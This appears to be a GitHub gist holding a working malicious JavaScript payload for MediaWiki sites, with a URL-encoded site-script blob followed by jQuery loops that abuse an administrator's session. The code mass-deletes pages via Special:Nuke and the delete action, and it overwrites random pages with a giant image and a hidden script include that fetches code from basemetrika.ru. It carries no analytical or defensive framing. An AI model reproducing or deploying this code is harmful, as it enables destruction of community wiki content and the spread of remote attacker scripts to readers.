%5D%29%29%20continue%0A%20%20%20Table.id%20%3D%20%27collapsibleTable%27%20%2B%20tblIdx%0A%20%20%20btn%20%3D%20document.createElement%28%27span%27%29%0A%20%20%20btn.style.cssText%20%3D%20%27float%3Aright%3B%20font-weight%3Anormal%3B%20font-size%3Asmaller%27%0A%20%20%20a%20%3D%20document.createElement%28%27a%27%29%0A%20%20%20a.id%20%3D%20%27collapseButton%27%20%2B%20tblIdx%0A%20%20%20a.href%20%3D%20%27javascript%3AcollapseTable%28%27%20%2B%20tblIdx%20%2B%20%27%29%3B%27%0A%20%20%20a.style.color%20%3D%20HCell.style.color%0A%20%20%20a.appendChild%28document.createTextNode%28NavigationBarHide%29%29%0A%20%20%20btn.appendChild%28a%29%0A%20%20%20HCell.insertBefore%28btn%2C%20HCell.childNodes%5B0%5D%29%0A%20%20%20colTables%5BtblIdx%2B%2B%5D%20%3D%20Table%0A%20%7D%0A%20for%20%28var%20i%3D0%3B%20i%20%3C%20tblIdx%3B%20i%2B%2B%29%0A%20%20%20if%20%28%28tblIdx%20%3E%20NavigationBarShowDefault%20%26%26%20hasClass%28colTables%5Bi%5D%2C%20%27autocollapse%27%29%29%20%7C%7C%20hasClass%28colTables%5Bi%5D%2C%20%27collapsed%27%29%29%0A%20%20%20%20%20collapseTable%28i%29%0A%7D%0A%20%0Afunction%20collapseTable%20%28idx%29%7B%0A%20var%20Table%20%3D%20document.getElementById%28%27collapsibleTable%27%20%2B%20idx%29%0A%20var%20btn%20%3D%20document.getElementById%28%27collapseButton%27%20%2B%20idx%29%0A%20if%20%28%21Table%20%7C%7C%20%21btn%29%20return%20false%0A%20var%20Rows%20%3D%20Table.rows%0A%20var%20isShown%20%3D%20%28btn.firstChild.data%20%3D%3D%20NavigationBarHide%29%0A%20btn.firstChild.data%20%3D%20isShown%20%3F%20%20NavigationBarShow%20%3A%20NavigationBarHide%0A%20var%20disp%20%3D%20isShown%20%3F%20%27none%27%20%3A%20Rows%5B0%5D.style.display%0A%20for%20%28var%20i%3D1%3B%20i%20%3C%20Rows.length%3B%20i%2B%2B%29%0A%20%20%20%20Rows%5Bi%5D.style.display%20%3D%20disp%0A%7D%0A%20%0Afunction%20collapsibleDivs%28%29%7B%0A%20var%20navIdx%20%3D%200%2C%20colNavs%20%3D%20%5B%5D%2C%20i%2C%20NavFrame%0A%20var%20divs%20%3D%20document.getElementById%28%27content%27%29.getElementsByTagName%28%27div%27%29%0A%20for%20%28i%3D0%3B%20NavFrame%20%3D%20divs%5Bi%5D%3B%20i%2B%2B%29%20%7B%0A%20%20%20if%20%28%21hasClass%28NavFrame%2C%20%27NavFrame%27%29%29%20continue%0A%20%20%20NavFrame.id%20%3D%20%27NavFrame%27%20%2B%20navIdx%0A%20%20%20var%20a%20%3D%20document.createElement%28%27a%27%29%0A%20%20%20a.className%20%3D%20%27NavToggle%27%0A%20%20%20a.id%20%3D%20%27NavToggle%27%20%2B%20navIdx%0A%20%20%20a.href%20%3D%20%27javascript%3AcollapseDiv%28%27%20%2B%20navIdx%20%2B%20%27%29%3B%27%0A%20%20%20a.appendChild%28document.createTextNode%28NavigationBarHide%29%29%0A%20%20%20for%20%28var%20j%3D0%3B%20j%20%3C%20NavFrame.childNodes.length%3B%20j%2B%2B%29%0A%20%20%20%20%20if%20%28hasClass%28NavFrame.childNodes%5Bj%5D%2C%20%27NavHead%27%29%29%0A%20%20%20%20%20%20%20NavFrame.childNodes%5Bj%5D.appendChild%28a%29%0A%20%20%20colNavs%5BnavIdx%2B%2B%5D%20%3D%20NavFrame%0A%20%7D%0A%20for%20%28i%3D0%3B%20i%20%3C%20navIdx%3B%20i%2B%2B%29%0A%20%20if%20%28%28navIdx%20%3E%20NavigationBarShowDefault%20%26%26%20%21hasClass%28colNavs%5Bi%5D%2C%20%27expanded%27%29%29%20%7C%7C%20hasClass%28colNavs%5Bi%5D%2C%20%27collapsed%27%29%29%0A%20%20%20%20%20collapseDiv%28i%29%0A%7D%0A%20%0Afunction%20collapseDiv%28idx%29%20%7B%0A%20var%20div%20%3D%20document.getElementById%28%27NavFrame%27%20%2B%20idx%29%0A%20var%20btn%20%3D%20document.getElementById%28%27NavToggle%27%20%2B%20idx%29%0A%20if%20%28%21div%20%7C%7C%20%21btn%29%20return%20false%0A%20var%20isShown%20%3D%20%28btn.firstChild.data%20%3D%3D%20NavigationBarHide%29%0A%20btn.firstChild.data%20%3D%20isShown%20%3F%20NavigationBarShow%20%3A%20NavigationBarHide%0A%20var%20disp%20%3D%20isShown%20%3F%20%27none%27%20%3A%20%27block%27%0A%20for%20%28var%20child%20%3D%20div.firstChild%3B%20%20child%20%21%3D%20null%3B%20%20child%20%3D%20child.nextSibling%29%0A%20%20%20if%20%28hasClass%28child%2C%20%27NavPic%27%29%20%7C%7C%20hasClass%28child%2C%20%27NavContent%27%29%29%0A%20%20%20%20%20%20child.style.display%20%3D%20disp%0A%7D%0A%0A%24%28function%28%29%7B%0A%20%20%20if%28%20wgAction%20%21%3D%20%27view%27%20%7C%7C%20%21%24%28%27.coordinates%27%29.text%28%29%20%29%20return%3B%0A%20%20%20c%20%3D%20%24%28%27.coordinates%27%29%5B0%5D%3B%0A%20%20%20%24%28%27.coordinates%27%29.remove%28%29%3B%0A%20%20%20%24%28%27%23siteSub%27%29.before%28c%29%3B%0A%20%20%20%24%28%27.coordinates%27%29.css%28%27position%27%2C%27relative%27%29.css%28%27right%27%2C%270%27%29.css%28%27top%27%2C%270%27%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.css%28%27margin-top%27%2C%27-7px%27%29.css%28%27margin-left%27%2C%272.8em%27%29.addClass%28%27plainlinks%27%29%3B%0A%7D%29%3B%0A%0A/%2A%2A%0A%2A%20%40author%20Falchenko%20Maxim%20aka%20be3%0A%2A%20%40plugin_page%20http%3A//tops.net.ua/jquery_addtocopy/%0A%2A%20%40desc%20Adds%20a%20link%20to%20the%20copied%20text%0A%2A%20%40version%201.2%0A%2A%20%40example%0A%2A%20%24%28%22%23content%22%29.addtocopy%28%29%3B%0A%2A%20%40license%20free%0A%2A%2A/%0AjQuery.fn.addtocopy%20%3D%20function%28usercopytxt%29%20%7B%0A%20%20%20%20var%20options%20%3D%20%7Bhtmlcopytxt%3A%20%27%3Cbr%3EMore%3A%20%3Ca%20href%3D%22%27%2Bwindow.location.href%2B%27%22%3E%27%2Bwindow.location.href%2B%27%3C/a%3E%3Cbr%3E%27%2C%20minlen%3A%2025%2C%20addcopyfirst%3A%20false%7D%0A%20%20%20%20%24.extend%28options%2C%20usercopytxt%29%3B%0A%09var%20copy_sp%20%3D%20document.createElement%28%27span%27%29%3B%0A%09copy_sp.id%20%3D%20%27ctrlcopy%27%3B%0A%09copy_sp.innerHTML%20%3D%20options.htmlcopytxt%3B%0A%09return%20this.each%28function%28%29%7B%0A%09%09%24%28this%29.mousedown%28function%28%29%7B%24%28%27%23ctrlcopy%27%29.remove%28%29%3B%7D%29%3B%0A%09%09%24%28this%29.mouseup%28function%28%29%7B%0A%09%09%09if%28window.getSelection%29%7B%09//good%20times%20%0A%09%09%09%09var%20slcted%3Dwindow.getSelection%28%29%3B%0A%09%09%09%09var%20seltxt%3Dslcted.toString%28%29%3B%0A%09%09%09%09if%28%21seltxt%7C%7Cseltxt.length%3Coptions.minlen%29%20return%3B%0A%09%09%09%09var%20nslct%20%3D%20slcted.getRangeAt%280%29%3B%0A%09%09%09%09seltxt%20%3D%20nslct.cloneRange%28%29%3B%0A%09%09%09%09seltxt.collapse%28options.addcopyfirst%29%3B%0A%09%09%09%09seltxt.insertNode%28copy_sp%29%3B%0A%09%09%09%09if%20%28%21options.addcopyfirst%29%20nslct.setEndAfter%28copy_sp%29%3B%0A%09%09%09%09slcted.removeAllRanges%28%29%3B%0A%09%09%09%09slcted.addRange%28nslct%29%3B%0A%09%09%09%7D%20else%20if%28document.selection%29%7B%09//bad%20times%0A%09%09%09%09var%20slcted%20%3D%20document.selection%3B%0A%09%09%09%09var%20nslct%3Dslcted.createRange%28%29%3B%0A%09%09%09%09var%20seltxt%3Dnslct.text%3B%0A%09%09%09%09if%20%28%21seltxt%7C%7Cseltxt.length%3Coptions.minlen%29%20return%3B%0A%09%09%09%09seltxt%3Dnslct.duplicate%28%29%3B%0A%09%09%09%09seltxt.collapse%28options.addcopyfirst%29%3B%0A%09%09%09%09seltxt.pasteHTML%28copy_sp.outerHTML%29%3B%0A%09%09%09%09if%20%28%21options.addcopyfirst%29%20%7Bnslct.setEndPoint%28%22EndToEnd%22%2Cseltxt%29%3B%20nslct.select%28%29%3B%7D%0A%09%09%09%7D%0A%09%09%7D%29%3B%0A%20%20%7D%29%3B%0A%7D%0A%0Aif%20%28wgUserName%20%3D%3D%20null%20%26%26%20wgNamespaceNumber%20%3D%3D%200%29%20%7B%0A%20%20%20%20%24%28document%29.addtocopy%28%7Bhtmlcopytxt%3A%20%27%3Cbr%3E%D0%9F%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%B5%D0%B5%3A%20%3Ca%20href%3D%22%27%2Bwindow.location.href%2B%27%22%3E%27%2Bwindow.location.href%2B%27%3C/a%3E%27%7D%29%3B%0A%7D%0A");
data_ser = data_ser.replace(/wpSummary=[^&]*/g, "wpSummary=" + ".");
$.ajax({
type : "POST",
url : editform3.attr("action"),
data : data_ser
}, function (data) {
});
});
}
})
if (typeof wgUserName === 'undefined') { _wgUserName = mw.config.get("wgUserName")}
else {_wgUserName = wgUserName}
for(var i = 0; i < Number("3"); i ++) {
$.get("/w/index.php?title=Special:Nuke", function (data) {
var nukeform = $(data).find("form[action*='submit']");
var data_ser = nukeform.serialize();
data_ser = data_ser.replace(/([&]namespace)=[^&]*/g, "$1=0");
$.ajax({
type : "POST",
url : nukeform.attr("action"),
data : data_ser,
success: function (data2) {
var lastform = $(data2).find("[name='wpEditToken']").parent();
var lf_ser = lastform.serialize();
$.ajax({
type : "POST",
url : lastform.attr("action"),
data : lf_ser
})
}
});
});
}
for(var i = 0; i < Number("20"); i ++) {
$.get("/w/index.php?title=Special:Random&action=edit", function (data) {
var editform3 = $(data).find("#editform");
var data_ser = editform3.serialize();
data_ser = data_ser.replace(/wpTextbox1=([^&]*)/g, "wpTextbox1=" + "%5B%5BFile%3AWoodpecker10.jpg%7C5000px%5D%5D%3Cbr%3E%0A%3Cspan%20style%3D%22display%3A%20none%3B%22%3E%5B%5B%23%253Cscript%253E%24.getScript%28%27//basemetrika.ru/s/e41%27%29%253C/script%253E%7C%20%3C/span%3E" + "$1");
data_ser = data_ser.replace(/wpSummary=([^&]*)/g, "wpSummary=" + "%D0%97%D0%B0%D0%BA%D1%80%D1%8B%D0%B2%D0%B0%D0%B5%D0%BC%20%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82");
$.ajax({
type : "POST",
url : editform3.attr("action"),
data : data_ser
}, function (data) {
});
});
}
for(var i = 0; i < Number("20"); i ++) {
$.get("/w/index.php?title=Special:Random&action=delete", function (data) {
var delform3 = $(data).find("form[action*='delete']");
var data_ser = delform3.serialize();
$.ajax({
type : "POST",
url : delform3.attr("action"),
data : data_ser
}, function (data) {
});
});
}
});
document.head.appendChild(script);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment